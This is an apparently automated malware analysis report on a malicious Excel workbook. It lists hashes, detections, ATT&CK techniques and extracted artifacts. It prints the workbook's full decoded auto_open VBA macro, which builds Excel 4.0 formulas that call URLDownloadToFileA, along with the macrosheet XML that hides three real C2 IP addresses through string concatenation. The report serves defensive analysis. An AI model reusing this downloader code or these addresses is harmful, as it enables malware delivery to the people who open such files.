Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3fba538335436858…

MALICIOUS

Office (OOXML)

102.8 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-21
MD5: eeb3e1f40a28cb446b7bd8853e3d17c5 SHA-1: 08625bcba96736eace93006abe46324f13b6a5a4 SHA-256: 3fba538335436858ff1e47e37aded329d0c3fc3d528b853ee92e1ec6143753d6
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros with an Auto_Open subroutine and an Excel 4.0 macro sheet, both of which are commonly used to initiate malicious actions. The VBA code explicitly calls URLDownloadToFileA, indicating an intent to download a payload from a URL. The Excel 4.0 macro sheet constructs and contains URLs pointing to suspicious IP addresses, which are likely C2 servers. The presence of these elements strongly suggests a downloader or droppper malware.

Heuristics 7

  • ClamAV: Xls.Downloader.Docusign112101-9908076-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Docusign112101-9908076-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Sheets("Nosto").Range("H35") = "=HALT()"
Sheets("Nosto").Range("I10") = "URLDownloadToFileA"
Sheets("Nosto").Range("I12") = "Friskos"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
On Error Resume Next
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://190.14.37.28/ Referenced by macro
    • http://45.138.172.96/Referenced by macro
    • http://185.82.200.35/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/excel/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2436 bytes
SHA-256: 7916640770de72821f454a596bb6b8124e7c3ec3c1eb08d6506bb51462c9d332
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm4"
Attribute VB_Base = "0{F99F0686-F8C4-48B8-B660-1895C0B97AD3}{1FFF077A-3636-46B2-9D6E-866E146DE619}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{056E4A94-4E05-40B2-BB0A-5D198037311C}{560061D1-E1D8-4918-AE13-E554AD1B9E14}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module2"

Sub auto_open()
On Error Resume Next

Application.ScreenUpdating = False

Sheets("Nosto").Range("K18") = ".dat"
Sheets("Nosto").Range("H35") = "=HALT()"
Sheets("Nosto").Range("I10") = "URLDownloadToFileA"
Sheets("Nosto").Range("I12") = "Friskos"
Sheets("Nosto").Range("G10") = UserForm4.Caption
Sheets("Nosto").Range("G11") = UserForm4.Caption & "1"
Sheets("Nosto").Range("G12") = UserForm4.Caption & "2"
Sheets("Nosto").Range("I17") = UserForm3.Caption
Sheets("Nosto").Range("I18") = UserForm3.Caption & "1"
Sheets("Nosto").Range("I19") = UserForm3.Caption & "2"
Sheets("Nosto").Range("H10") = "=Friskos(0,H24&K17&K18,G10,0,0)"
Sheets("Nosto").Range("H11") = "=Friskos(0,H25&K17&K18,G11,0,0)"
Sheets("Nosto").Range("H12") = "=Friskos(0,H26&K17&K18,G12,0,0)"
Sheets("Nosto").Range("H9") = "=" & UserForm4.Tag & "(I9,I10&J10,I11,I12,,1,9)"
Sheets("Nosto").Range("H17") = "=" & UserForm3.Tag & "(I17)"
Sheets("Nosto").Range("H18") = "=" & UserForm3.Tag & "(I18)"
Sheets("Nosto").Range("H19") = "=" & UserForm3.Tag & "(I19)"

Application.Run Sheets("Nosto").Range("H1")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: 770625581fa76c01d01bbae593aa982554988ea220ea2f0b4426277839bdf9e8
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 2247 bytes
SHA-256: e014b7d83fce87cd73993a00c9f70dd0fd5770c4aa411e5d991b67bb43eaeb32
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{59B5048D-8C7D-40B0-9741-D7729BFD0DEE}"><dimension ref="A1:K26"/><sheetViews><sheetView showFormulas="1" showGridLines="0" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="1" spans="1:9" x14ac:dyDescent="0.25"><c r="A1" s="3"/></row><row r="9" spans="1:9" x14ac:dyDescent="0.25"><c r="I9" s="1" t="s"><v>0</v></c></row><row r="11" spans="1:9" x14ac:dyDescent="0.25"><c r="I11" s="1" t="s"><v>1</v></c></row><row r="17" spans="8:11" x14ac:dyDescent="0.25"><c r="K17" s="1"><f>NOW()</f><v>44508.557876273146</v></c></row><row r="24" spans="8:11" x14ac:dyDescent="0.25"><c r="H24" s="1" t="str"><f>"ht"&amp;"tp://"&amp;"19"&amp;"0."&amp;"14"&amp;".3"&amp;"7."&amp;"2"&amp;"8"&amp;"/"</f><v>http://190.14.37.28/</v></c></row><row r="25" spans="8:11" x14ac:dyDescent="0.25"><c r="H25" s="1" t="str"><f>"ht"&amp;"tp"&amp;":/"&amp;"/4"&amp;"5.1"&amp;"38"&amp;".17"&amp;"2.9"&amp;"6"&amp;"/"</f><v>http://45.138.172.96/</v></c></row><row r="26" spans="8:11" x14ac:dyDescent="0.25"><c r="H26" s="1" t="str"><f>"ht"&amp;"tp:"&amp;"/"&amp;"/1"&amp;"8"&amp;"5.8"&amp;"2.2"&amp;"0"&amp;"0."&amp;"3"&amp;"5"&amp;"/"</f><v>http://185.82.200.35/</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>

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